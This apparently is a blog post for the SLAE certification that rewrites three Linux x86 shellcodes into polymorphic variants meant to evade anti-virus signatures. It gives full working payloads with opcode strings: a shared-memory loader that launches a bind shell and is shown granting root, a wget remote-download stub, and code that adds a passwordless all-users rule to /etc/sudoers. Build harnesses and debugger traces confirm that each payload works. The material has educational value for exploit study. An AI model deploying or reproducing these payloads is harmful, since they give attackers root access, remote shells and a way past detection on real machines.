tcunha.github.io

The lesson of history is that no one learns.

SLAE 0x06: Polymorphic Shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

The sixth exercise consisted of choosing 3 linux/x86 shellcodes from shell-storm.org and polymorphically alter them. The resulting shellcode should have at the most 150% the size of the original one.

This technique is useful for bypassing anti-virus engines where common operations are fingerprinted and blacklisted. By modifying a shellcode with semantically equivalent instructions, the shellcode will be harder to detect.

1. Shared memory exec (369)

This shellcode consists of attaching to a shared memory region and executing the in memory shellcode. It’s initial size is 50 bytes, therefore its polymorphic code must be 75 bytes maximum, according to the requirements.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
global _start

section .text
_start:
  xor edi, edi
  xor esi, esi
  xor edx, edx

  mov ecx, 0xdeadbeef     ; key
  xor ebx, ebx
  mov bl, 0x17            ; shmget
  ; edx is already zero from the above
  ; esi is already zero frm the above
  xor eax, eax
  mov al, 0x75
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  xor edi, edi
  mov esi, 0xbffffffa     ; address
  xor edx, edx
  mov ecx, eax            ; move shm id returned by the shmget above
  xor ebx, ebx
  mov bl, 0x15            ; shmat
  xor eax, eax
  mov al, 0x75
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  ; push logical address to the stack and jump to it after the ret
  mov eax, 0xbffffffa
  push dword [eax]
  ret

The above original shellcode will obtain the identifier associated with the provided shared memory key, attach to it and jump to the in memory executable code, if any.

This is using the ipc(2) system call, where like socketcall(2), its first argument is the IPC function to invoke. However, unlike the socket system calls which are now exported on x86, the IPC ones aren’t.

Its fourth parameter (third in the prototype) is a user-provided logical address pointer where the contents of the shared memory can be accessed.

ipc(2) prototype
1
int ipc(unsigned int call, int first, int second, int third, void *ptr, long fifth);
retrieving the system call number and constants
1
2
3
4
5
6
7
8
$ asm-syscall ipc
#define __NR_ipc 117
0x75
$ grep SHM /usr/include/linux/ipc.h
#define SHMAT           21
#define SHMDT           22
#define SHMGET          23
#define SHMCTL          24

The registers for the two ipc(2) system calls will, then, have the following respective values:

+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 117           |
| ebx      | 23            | <== shmget(2)
| ecx      | 0xdeafbeef    |
| edx      | 0             | <== size is specified by the creator
| esi      | 0             | <== so are the flags
| edi      | 0             |
| ebp      | 0             |
+----------+---------------+
| return   | id            |
+----------+---------------+

+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 117           |
| ebx      | 21            | <== shmat(2)
| ecx      | shmget(2) id  |
| edx      | 0             | <== flags
| esi      | address       |
| edi      | 0             |
| ebp      | 0             |
+----------+---------------+

Initially, couldn’t get it to work due to the hard-coded shared memory logical address. Substituting it with the current logical address of the stack allows to correctly read the contents off the shared memory.

The below polymorphic shellcode also gets the shared memory key by negating its initial value and performing logic and mathematical operations on the registers and is 11 bytes smaller than the original:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
global _start

section .text
_start:
  xor eax, eax
  cdq                     ; make edx zero, as well

  ; ipc(2) has a bunch of parameters, zero them all
  lea ebx, [eax]
  and esi, ebx
  sub edi, edi
  xor ebp, ebp

  mov ecx, 0x35014542     ; key in two's complement
  neg ecx                 ; key
  add bl, 0x17            ; shmget (ebx is already zero)
  ; edx, esi and ebp are already zero from the above
  or al, 0x75             ; eax is already zero
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  mov esi, esp            ; use stack logical address
  mov ecx, eax            ; move shm id returned by the shmget above
  dec ebx
  dec ebx                 ; shmat (0x2 less than shmget)
  ; edx, esi and ebp are already zero from the above
  and eax, ebp            ; make it zero
  add al, 0x75
  ; int ipc(unsigned int, int, int, int, void *, long)
  int 0x80

  jmp [esi]               ; finally jump to the second stage shellcode

Just like with the egghunter exercise, a custom second stage shellcode can be specified via the STAGE2 variable, which will be copied to the shared memory region:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ make PROG=369 STAGE2=../0x01-bind/bind
nasm  -f elf32 -o 369.o 369.asm
ld -N -zexecstack -o 369 369.o
08048080 <_start>:
 8048080:       31 c0                   xor    eax,eax
 8048082:       99                      cdq
 8048083:       8d 18                   lea    ebx,[eax]
 8048085:       21 de                   and    esi,ebx
 8048087:       29 ff                   sub    edi,edi
 8048089:       31 ed                   xor    ebp,ebp
 804808b:       b9 42 45 01 35          mov    ecx,0x35014542
 8048090:       f7 d9                   neg    ecx
 8048092:       80 c3 17                add    bl,0x17
 8048095:       0c 75                   or     al,0x75
 8048097:       cd 80                   int    0x80
 8048099:       89 e6                   mov    esi,esp
 804809b:       89 c1                   mov    ecx,eax
 804809d:       4b                      dec    ebx
 804809e:       4b                      dec    ebx
 804809f:       21 e8                   and    eax,ebp
 80480a1:       04 75                   add    al,0x75
 80480a3:       cd 80                   int    0x80
 80480a5:       ff 26                   jmp    DWORD PTR [esi]
Shellcode size: 39
\x31\xc0\x99\x8d\x18\x21\xde\x29\xff\x31\xed\xb9\x42\x45\x01\x35\xf7\xd9\x80\xc3\x17\x0c\x75\xcd\x80\x89\xe6\x89\xc1\x4b\x4b\x21\xe8\x04\x75\xcd\x80\xff\x26
cc -DSHELLCODE=`asm-opcodes 369` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode 369.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <sys/shm.h>

#include <err.h>
#include <stdio.h>
#include <string.h>

#define QUOTE(s)        #s
#define SHM_SIZE        512
#define STR(s)          QUOTE(s)

unsigned char shellcode[] = STR(SHELLCODE);
unsigned char stage2[] = STR(STAGE2);

int
main(void)
{
  int      shmid;
  void    *addr;

  if ((shmid = shmget(0xcafebabe, SHM_SIZE, 0644|IPC_CREAT)) == -1)
      err(1, "shmget");
  if ((addr = shmat(shmid, NULL, 0)) == (void *) -1)
      err(1, "shmat");
  memcpy(addr, stage2, SHM_SIZE);

  printf("Shellcode length: %zu\n", sizeof shellcode - 1);
  (*(void(*)(void)) shellcode)();

  return (0);
}

Breaking just before the jmp call, the contents of the second stage shellcode are correctly referenced:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) b *0x00402085
Breakpoint 2 at 0x402085
(gdb) continue
Continuing.
Dump of assembler code for function shellcode:
   0x00402060 <+0>:     xor    eax,eax
   0x00402062 <+2>:     cdq
   0x00402063 <+3>:     lea    ebx,[eax]
   0x00402065 <+5>:     and    esi,ebx
   0x00402067 <+7>:     sub    edi,edi
   0x00402069 <+9>:     xor    ebp,ebp
   0x0040206b <+11>:    mov    ecx,0x35014542
   0x00402070 <+16>:    neg    ecx
   0x00402072 <+18>:    add    bl,0x17
   0x00402075 <+21>:    or     al,0x75
   0x00402077 <+23>:    int    0x80
   0x00402079 <+25>:    mov    esi,esp
   0x0040207b <+27>:    mov    ecx,eax
   0x0040207d <+29>:    dec    ebx
   0x0040207e <+30>:    dec    ebx
   0x0040207f <+31>:    and    eax,ebp
   0x00402081 <+33>:    add    al,0x75
   0x00402083 <+35>:    int    0x80
=> 0x00402085 <+37>:    jmp    DWORD PTR [esi]
   0x00402087 <+39>:    add    BYTE PTR [eax],al
End of assembler dump.
$2 = [ IF ]

Breakpoint 2, 0x00402085 in shellcode ()
(gdb) i r esi
esi            0xbffff62c       -1073744340
(gdb) x/10i *$esi
   0xb7fd2000:  xor    eax,eax
   0xb7fd2002:  xor    esi,esi
   0xb7fd2004:  cdq
   0xb7fd2005:  mov    ax,0x167
   0xb7fd2009:  push   0x2
   0xb7fd200b:  pop    ebx
   0xb7fd200c:  push   0x1
   0xb7fd200e:  pop    ecx
   0xb7fd200f:  int    0x80
   0xb7fd2011:  xchg   ebx,eax
1
2
3
4
5
6
7
8
9
# ./shellcode
Shellcode length: 39
Second stage length: 82
$ ss -nlt|grep 4242
LISTEN     0      0            *:4242                     *:*
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)

2. Remote file download (611)

The objective of this one consists in calling /usr/bin/wget via execve(2) and fetch the remote aaaa resource. It’s size is 42 bytes, meaning that its morphed code must be at the most 63 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
global _start

section .text
_start:
  push byte +0xb
  pop eax
  ; int execve(const char *, char *const [], char *const [])
  cdq                     ; set edx to zero, as well

  push edx                ; push the terminating nul byte
  push dword 0x61616161   ; aaaa
  mov ecx, esp            ; save address of arguments
  push edx                ; push the terminating nul byte
  push byte +0x74         ; t
  push dword 0x6567772f   ; /wge
  push dword 0x6e69622f   ; /bin
  push dword 0x7273752f   ; /usr
  mov ebx, esp            ; filename
  push edx                ; push the terminating nul byte
  push ecx                ; push the address of the arguments
  push ebx                ; push the address of the filename
  mov ecx, esp            ; argv
  ; edx is already zero from the above cdq instruction
  int 0x80

  inc eax
  int 0x80

Trying to execute it does, indeed, fetch the remote resource. In the modified shellcode I’ve opted to remove the last two instructions, since if the execve(2) system call fails -1 is returned, thus incrementing eax would make the code call restart_syscall(2).

1
2
3
4
$ ./611
--2018-08-08 22:00:10--  http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'

To save space, pointer arithmetic operations on stack values are performed with the ebp register, instead of with esp. The offsets are, also, statically calculated by the code. The resulting morphed shellcode is 21 bytes bigger, making it the maximum 63 bytes allowed by the requirements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
global _start

section .text
_start:
  push 0xffffffff
  pop eax
  neg eax
  add al, 0xa                     ; make it 0xb
  ; int execve(const char *, char *const [], char *const [])
  cdq                             ; make edx zero, as well

  ; make the base pointer the same as the current stack pointer, since
  ; operations with pointers are one byte smaller with the former
  mov ebp, esp

  push edx                        ; nul character
  push 0x61616161                 ; fetch this resource

  push edx                        ; nul character
  push edx                        ; the stack might be full of garbage
  mov byte [ebp - 0x10], 0x74     ; overwrite LSB with a t
  ; no need to sub the stack pointer here, only the current double word
  ; LSB was changed

  push 0xcaceee5e
  ror dword [esp], 0x1            ; /wge
  push 0xdcd2c45e
  ror dword [esp], 0x1            ; /bin
  push 0xe4e6ea5e
  ror dword [esp], 0x1            ; /usr

  push esp
  pop ebx                         ; filename
  lea ecx, [ebp - 0x8]            ; save a pointer to the arguments

  push edx
  mov dword [ebp - 0x24], ecx     ; save the pointer to the arguments
  mov dword [ebp - 0x28], ebx     ; save the pointer to the command
  lea ecx, [ebp - 0x28]           ; argv

  ; edx is already zero by the above cdq instruction
  int 0x80

The stack and registers before the execve(2) system call will have the following layout and values, as it can be seen from the gdb output:

+------------+
|   random   | <==== ebp
+------------+
| 0x00000000 | <==== ebp - 0x04
+------------+
| 0x61616161 | <==== ebp - 0x08 (ecx)
+------------+
| 0x00000000 | <==== ebp - 0x0c
+------------+
| 0x00000074 | <==== ebp - 0x10
+------------+
| 0x6567772f | <==== ebp - 0x14
+------------+
| 0x6e69622f | <==== ebp - 0x18
+------------+
| 0x7273752f | <==== ebp - 0x1c (ebx)
+------------+
| 0x00000000 | <==== ebp - 0x20
+------------+
|  ecx  ptr  | <==== ebp - 0x24
+------------+
|  ebx  ptr  | <==== ebp - 0x28 (ecx)
+------------+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) b *0x0040207d
Breakpoint 2 at 0x40207d
(gdb) continue
Continuing.
Dump of assembler code for function shellcode:
   0x00402040 <+0>:     push   0xffffffff
   0x00402042 <+2>:     pop    eax
   0x00402043 <+3>:     neg    eax
   0x00402045 <+5>:     add    al,0xa
   0x00402047 <+7>:     cdq
   0x00402048 <+8>:     mov    ebp,esp
   0x0040204a <+10>:    push   edx
   0x0040204b <+11>:    push   0x61616161
   0x00402050 <+16>:    push   edx
   0x00402051 <+17>:    push   edx
   0x00402052 <+18>:    mov    BYTE PTR [ebp-0x10],0x74
   0x00402056 <+22>:    push   0xcaceee5e
   0x0040205b <+27>:    ror    DWORD PTR [esp],1
   0x0040205e <+30>:    push   0xdcd2c45e
   0x00402063 <+35>:    ror    DWORD PTR [esp],1
   0x00402066 <+38>:    push   0xe4e6ea5e
   0x0040206b <+43>:    ror    DWORD PTR [esp],1
   0x0040206e <+46>:    push   esp
   0x0040206f <+47>:    pop    ebx
   0x00402070 <+48>:    lea    ecx,[ebp-0x8]
   0x00402073 <+51>:    push   edx
   0x00402074 <+52>:    mov    DWORD PTR [ebp-0x24],ecx
   0x00402077 <+55>:    mov    DWORD PTR [ebp-0x28],ebx
   0x0040207a <+58>:    lea    ecx,[ebp-0x28]
=> 0x0040207d <+61>:    int    0x80
   0x0040207f <+63>:    add    BYTE PTR [eax],al
End of assembler dump.
$50 = [ IF OF ]
0x0040207d in shellcode ()
(gdb) x/10w $esp - 8
0xbffff624:     0xbffff630      0xbffff644      0x00000000      0x7273752f
0xbffff634:     0x6e69622f      0x6567772f      0x00000074      0x00000000
0xbffff644:     0x61616161      0x00000000
(gdb) x/s 0xbffff630
0xbffff630:     "/usr/bin/wget"
(gdb) x/s 0xbffff644
0xbffff644:     "aaaa"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ make PROG=611
nasm  -f elf32 -o 611.o 611.asm
ld -N -zexecstack -o 611 611.o
08048080 <_start>:
 8048080:       6a ff                   push   0xffffffff
 8048082:       58                      pop    eax
 8048083:       f7 d8                   neg    eax
 8048085:       04 0a                   add    al,0xa
 8048087:       99                      cdq
 8048088:       89 e5                   mov    ebp,esp
 804808a:       52                      push   edx
 804808b:       68 61 61 61 61          push   0x61616161
 8048090:       52                      push   edx
 8048091:       52                      push   edx
 8048092:       c6 45 f0 74             mov    BYTE PTR [ebp-0x10],0x74
 8048096:       68 5e ee ce ca          push   0xcaceee5e
 804809b:       d1 0c 24                ror    DWORD PTR [esp],1
 804809e:       68 5e c4 d2 dc          push   0xdcd2c45e
 80480a3:       d1 0c 24                ror    DWORD PTR [esp],1
 80480a6:       68 5e ea e6 e4          push   0xe4e6ea5e
 80480ab:       d1 0c 24                ror    DWORD PTR [esp],1
 80480ae:       54                      push   esp
 80480af:       5b                      pop    ebx
 80480b0:       8d 4d f8                lea    ecx,[ebp-0x8]
 80480b3:       52                      push   edx
 80480b4:       89 4d dc                mov    DWORD PTR [ebp-0x24],ecx
 80480b7:       89 5d d8                mov    DWORD PTR [ebp-0x28],ebx
 80480ba:       8d 4d d8                lea    ecx,[ebp-0x28]
 80480bd:       cd 80                   int    0x80
Shellcode size: 63
\x6a\xff\x58\xf7\xd8\x04\x0a\x99\x89\xe5\x52\x68\x61\x61\x61\x61\x52\x52\xc6\x45\xf0\x74\x68\x5e\xee\xce\xca\xd1\x0c\x24\x68\x5e\xc4\xd2\xdc\xd1\x0c\x24\x68\x5e\xea\xe6\xe4\xd1\x0c\x24\x54\x5b\x8d\x4d\xf8\x52\x89\x4d\xdc\x89\x5d\xd8\x8d\x4d\xd8\xcd\x80
cc -DSHELLCODE=`asm-opcodes 611` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
$ ./shellcode
Shellcode length: 63
--2018-08-08 23:02:04--  http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'

3. Edit /etc/sudoers for full access (62)

The final one grants root access to every single user on the machine. It’s size is 86 bytes, meaning that the altered shellcode should be at the most 129 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
global _start

section .text:
_start:
  xor eax, eax
  push eax                        ; nul character
  push dword 0x7372656f           ; oers
  push dword 0x6475732f           ; /sud
  push dword 0x6374652f           ; /etc
  mov ebx, esp                    ; pathname
  mov cx, 0x401                   ; flags (O_WRONLY | O_APPEND)
  mov al, 0x5
  ; int open(const char *, int)
  int 0x80

  mov ebx, eax                    ; move new file descriptor
  xor eax, eax
  push eax                        ; nul character
  push dword 0xa4c4c41            ; ALL
  push dword 0x203a4457           ; WD:
  push dword 0x53534150           ; PASS
  push dword 0x4f4e2029           ; ) NO
  push dword 0x4c4c4128           ; (ALL
  push dword 0x3d4c4c41           ; ALL=
  push dword 0x204c4c41           ; ALL
  mov ecx, esp                    ; buf
  mov dl, 0x1c                    ; count
  mov al, 0x4
  ; ssize_t write(int, const void *, size_t)
  int 0x80

  mov al, 0x6
  ; int close(int)
  int 0x80

  xor ebx,ebx
  mov al, 0x1
  ; int exit(int)
  int 0x80

Decided to drop the close(2) and exit(2) system calls since they don’t bring any advantages whatsoever and moreover, prunning them allowed to focus more on MMX, FPU and SSE instructions. The total size of the morphed code is 128 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
global _start

section .text
_start:
  push esp
  ; make the base pointer the same as the current stack pointer, since
  ; operations with pointers are one byte smaller with the former
  pop ebp

  xor eax, eax
  cdq                             ; make edx zero, too

  push 0xcafebabe                 ; initial xor value
  push edx                        ; nul character
  push 0xb98cdfd1
  push 0x17071640
  movd mm0, [ebp - 0x4]           ; load initial xor value
  pxor mm0, [ebp - 0xc]           ; oers
  movd [ebp - 0xc], mm0           ; overwrite result on the stack
  pxor mm0, [ebp - 0x10]          ; /sud (xor with the previous result)
  movd [ebp - 0x10], mm0          ; overwrite result on the stack
  emms                            ; done with mmx, switch to x87
  push 0x6374652e                 ; .etc
  mov ebx, esp                    ; pathname
  inc byte [ebx]                  ; make the first character a slash
  push 0x20
  fild dword [esp]                ; load current value on the stack
  fmul st0                        ; multiply by itself
  fist dword [esp]                ; overwrite value on the stack
  pop ecx
  inc ecx                         ; flags (O_WRONLY | O_APPEND)
  or al, 0x5
  ; int open(const char *, int)
  int 0x80

  xchg ebx, eax                   ; move new file descriptor
  push edx                        ; nul character
  push 0x0a4c4c41                 ; ALL
  push 0x203a4457                 ; WD:
  push 0x53534150                 ; PASS
  push 0x4f4e2029                 ; ) NO
  push 0x4c4c4128                 ; (ALL
  push 0x3d4c4c41                 ; ALL=
  push 0x204c4c41                 ; ALL
  mov ecx, esp                    ; buf
  or dl, 0x1c                     ; count (28 bytes)
  push 0x2
  movss xmm0, [esp]
  addss xmm0, [esp]
  movd eax, xmm0
  ; ssize_t write(int, const void *, size_t)
  int 0x80

To partially build the filename, the MMX XOR functions were used with an initial XOR value. The resulting value serves as the XOR value to the next one:

0xcafebabe ^ 0xb98cdfd1 = 0x7372656f ^ 0x17071640 = 0x6475732f

Following that, the emms instruction is issued to signal the CPU that MMX operations are done and the shared registers are going to be used by the x87 FPU, which is going to be needed by the fmul instruction to calculate the flags for the open(2) system call:

O_WRONLY | O_APPEND = 0x401 = (0x20 * 0x20) + 0x1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ make PROG=62
nasm  -f elf32 -o 62.o 62.asm
ld -N -zexecstack -o 62 62.o
08048080 <_start>:
 8048080:       54                      push   esp
 8048081:       5d                      pop    ebp
 8048082:       31 c0                   xor    eax,eax
 8048084:       99                      cdq
 8048085:       68 be ba fe ca          push   0xcafebabe
 804808a:       52                      push   edx
 804808b:       68 d1 df 8c b9          push   0xb98cdfd1
 8048090:       68 40 16 07 17          push   0x17071640
 8048095:       0f 6e 45 fc             movd   mm0,DWORD PTR [ebp-0x4]
 8048099:       0f ef 45 f4             pxor   mm0,QWORD PTR [ebp-0xc]
 804809d:       0f 7e 45 f4             movd   DWORD PTR [ebp-0xc],mm0
 80480a1:       0f ef 45 f0             pxor   mm0,QWORD PTR [ebp-0x10]
 80480a5:       0f 7e 45 f0             movd   DWORD PTR [ebp-0x10],mm0
 80480a9:       0f 77                   emms
 80480ab:       68 2e 65 74 63          push   0x6374652e
 80480b0:       89 e3                   mov    ebx,esp
 80480b2:       fe 03                   inc    BYTE PTR [ebx]
 80480b4:       6a 20                   push   0x20
 80480b6:       db 04 24                fild   DWORD PTR [esp]
 80480b9:       d8 c8                   fmul   st,st(0)
 80480bb:       db 14 24                fist   DWORD PTR [esp]
 80480be:       59                      pop    ecx
 80480bf:       41                      inc    ecx
 80480c0:       0c 05                   or     al,0x5
 80480c2:       cd 80                   int    0x80
 80480c4:       93                      xchg   ebx,eax
 80480c5:       52                      push   edx
 80480c6:       68 41 4c 4c 0a          push   0xa4c4c41
 80480cb:       68 57 44 3a 20          push   0x203a4457
 80480d0:       68 50 41 53 53          push   0x53534150
 80480d5:       68 29 20 4e 4f          push   0x4f4e2029
 80480da:       68 28 41 4c 4c          push   0x4c4c4128
 80480df:       68 41 4c 4c 3d          push   0x3d4c4c41
 80480e4:       68 41 4c 4c 20          push   0x204c4c41
 80480e9:       89 e1                   mov    ecx,esp
 80480eb:       80 ca 1c                or     dl,0x1c
 80480ee:       6a 02                   push   0x2
 80480f0:       f3 0f 10 04 24          movss  xmm0,DWORD PTR [esp]
 80480f5:       f3 0f 58 04 24          addss  xmm0,DWORD PTR [esp]
 80480fa:       66 0f 7e c0             movd   eax,xmm0
 80480fe:       cd 80                   int    0x80
Shellcode size: 128
\x54\x5d\x31\xc0\x99\x68\xbe\xba\xfe\xca\x52\x68\xd1\xdf\x8c\xb9\x68\x40\x16\x07\x17\x0f\x6e\x45\xfc\x0f\xef\x45\xf4\x0f\x7e\x45\xf4\x0f\xef\x45\xf0\x0f\x7e\x45\xf0\x0f\x77\x68\x2e\x65\x74\x63\x89\xe3\xfe\x03\x6a\x20\xdb\x04\x24\xd8\xc8\xdb\x14\x24\x59\x41\x0c\x05\xcd\x80\x93\x52\x68\x41\x4c\x4c\x0a\x68\x57\x44\x3a\x20\x68\x50\x41\x53\x53\x68\x29\x20\x4e\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41\x4c\x4c\x20\x89\xe1\x80\xca\x1c\x6a\x02\xf3\x0f\x10\x04\x24\xf3\x0f\x58\x04\x24\x66\x0f\x7e\xc0\xcd\x80
cc -DSHELLCODE=`asm-opcodes 62` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
(gdb) i r mm0
mm0            {uint64 = 0x7372656f, v2_int32 = {0x7372656f, 0x0}, v4_int16 = {0x656f, 0x7372, 0x0, 0x0}, v8_int8 = {0x6f, 0x65, 0x72, 0x73, 0x0, 0x0, 0x0, 0x0}}
(gdb) x/s $ebp-0xc
0xbffff640:     "oers"
(gdb) continue
Continuing.
Dump of assembler code for function shellcode:
   0x00402040 <+0>:     push   esp
   0x00402041 <+1>:     pop    ebp
   0x00402042 <+2>:     xor    eax,eax
   0x00402044 <+4>:     cdq
   0x00402045 <+5>:     push   0xcafebabe
   0x0040204a <+10>:    push   edx
   0x0040204b <+11>:    push   0xb98cdfd1
   0x00402050 <+16>:    push   0x17071640
   0x00402055 <+21>:    movd   mm0,DWORD PTR [ebp-0x4]
   0x00402059 <+25>:    pxor   mm0,QWORD PTR [ebp-0xc]
   0x0040205d <+29>:    movd   DWORD PTR [ebp-0xc],mm0
   0x00402061 <+33>:    pxor   mm0,QWORD PTR [ebp-0x10]
   0x00402065 <+37>:    movd   DWORD PTR [ebp-0x10],mm0
   0x00402069 <+41>:    emms
   0x0040206b <+43>:    push   0x6374652e
   0x00402070 <+48>:    mov    ebx,esp
   0x00402072 <+50>:    inc    BYTE PTR [ebx]
=> 0x00402074 <+52>:    push   0x20
   0x00402076 <+54>:    fild   DWORD PTR [esp]
   0x00402079 <+57>:    fmul   st,st(0)
   0x0040207b <+59>:    fist   DWORD PTR [esp]
   0x0040207e <+62>:    pop    ecx
   0x0040207f <+63>:    inc    ecx
   0x00402080 <+64>:    or     al,0x5
   0x00402082 <+66>:    int    0x80
   0x00402084 <+68>:    xchg   ebx,eax
   0x00402085 <+69>:    push   edx
   0x00402086 <+70>:    push   0xa4c4c41
   0x0040208b <+75>:    push   0x203a4457
   0x00402090 <+80>:    push   0x53534150
   0x00402095 <+85>:    push   0x4f4e2029
   0x0040209a <+90>:    push   0x4c4c4128
   0x0040209f <+95>:    push   0x3d4c4c41
   0x004020a4 <+100>:   push   0x204c4c41
   0x004020a9 <+105>:   mov    ecx,esp
   0x004020ab <+107>:   or     dl,0x1c
   0x004020ae <+110>:   push   0x2
   0x004020b0 <+112>:   movss  xmm0,DWORD PTR [esp]
   0x004020b5 <+117>:   addss  xmm0,DWORD PTR [esp]
---Type <return> to continue, or q <return> to quit---
   0x004020ba <+122>:   movd   eax,xmm0
   0x004020be <+126>:   int    0x80
   0x004020c0 <+128>:   add    BYTE PTR [eax],al
End of assembler dump.
$22 = [ IF ]

Breakpoint 2, 0x00402074 in shellcode ()
(gdb) x/s $ebx
0xbffff638:     "/etc/sudoers"
(gdb) c
Continuing.
Dump of assembler code for function shellcode:
   0x00402040 <+0>:     push   esp
   0x00402041 <+1>:     pop    ebp
   0x00402042 <+2>:     xor    eax,eax
   0x00402044 <+4>:     cdq
   0x00402045 <+5>:     push   0xcafebabe
   0x0040204a <+10>:    push   edx
   0x0040204b <+11>:    push   0xb98cdfd1
   0x00402050 <+16>:    push   0x17071640
   0x00402055 <+21>:    movd   mm0,DWORD PTR [ebp-0x4]
   0x00402059 <+25>:    pxor   mm0,QWORD PTR [ebp-0xc]
   0x0040205d <+29>:    movd   DWORD PTR [ebp-0xc],mm0
   0x00402061 <+33>:    pxor   mm0,QWORD PTR [ebp-0x10]
   0x00402065 <+37>:    movd   DWORD PTR [ebp-0x10],mm0
   0x00402069 <+41>:    emms
   0x0040206b <+43>:    push   0x6374652e
   0x00402070 <+48>:    mov    ebx,esp
   0x00402072 <+50>:    inc    BYTE PTR [ebx]
   0x00402074 <+52>:    push   0x20
   0x00402076 <+54>:    fild   DWORD PTR [esp]
   0x00402079 <+57>:    fmul   st,st(0)
   0x0040207b <+59>:    fist   DWORD PTR [esp]
   0x0040207e <+62>:    pop    ecx
   0x0040207f <+63>:    inc    ecx
=> 0x00402080 <+64>:    or     al,0x5
   0x00402082 <+66>:    int    0x80
   0x00402084 <+68>:    xchg   ebx,eax
   0x00402085 <+69>:    push   edx
   0x00402086 <+70>:    push   0xa4c4c41
   0x0040208b <+75>:    push   0x203a4457
   0x00402090 <+80>:    push   0x53534150
   0x00402095 <+85>:    push   0x4f4e2029
   0x0040209a <+90>:    push   0x4c4c4128
   0x0040209f <+95>:    push   0x3d4c4c41
   0x004020a4 <+100>:   push   0x204c4c41
   0x004020a9 <+105>:   mov    ecx,esp
   0x004020ab <+107>:   or     dl,0x1c
   0x004020ae <+110>:   push   0x2
   0x004020b0 <+112>:   movss  xmm0,DWORD PTR [esp]
   0x004020b5 <+117>:   addss  xmm0,DWORD PTR [esp]
---Type <return> to continue, or q <return> to quit---
   0x004020ba <+122>:   movd   eax,xmm0
   0x004020be <+126>:   int    0x80
   0x004020c0 <+128>:   add    BYTE PTR [eax],al
End of assembler dump.
$33 = [ IF ]

Breakpoint 5, 0x00402080 in shellcode ()
(gdb) i r ecx
ecx            0x401    1025

Executing the shellcode correctly appends the entry to the /etc/sudoers file:

1
2
3
4
5
6
7
8
9
10
11
12
# tail -n1 /etc/sudoers; strace -e open,write ./shellcode; tail -n1 /etc/sudoers
#includedir /etc/sudoers.d
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
write(1, "Shellcode length: 128\n", 22Shellcode length: 128
) = 22
open("/etc/sudoers", O_WRONLY|O_APPEND) = 3
write(3, "ALL ALL=(ALL) NOPASSWD: ALL\n", 28) = 28
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1c} ---
+++ killed by SIGSEGV +++
Segmentation fault
ALL ALL=(ALL) NOPASSWD: ALL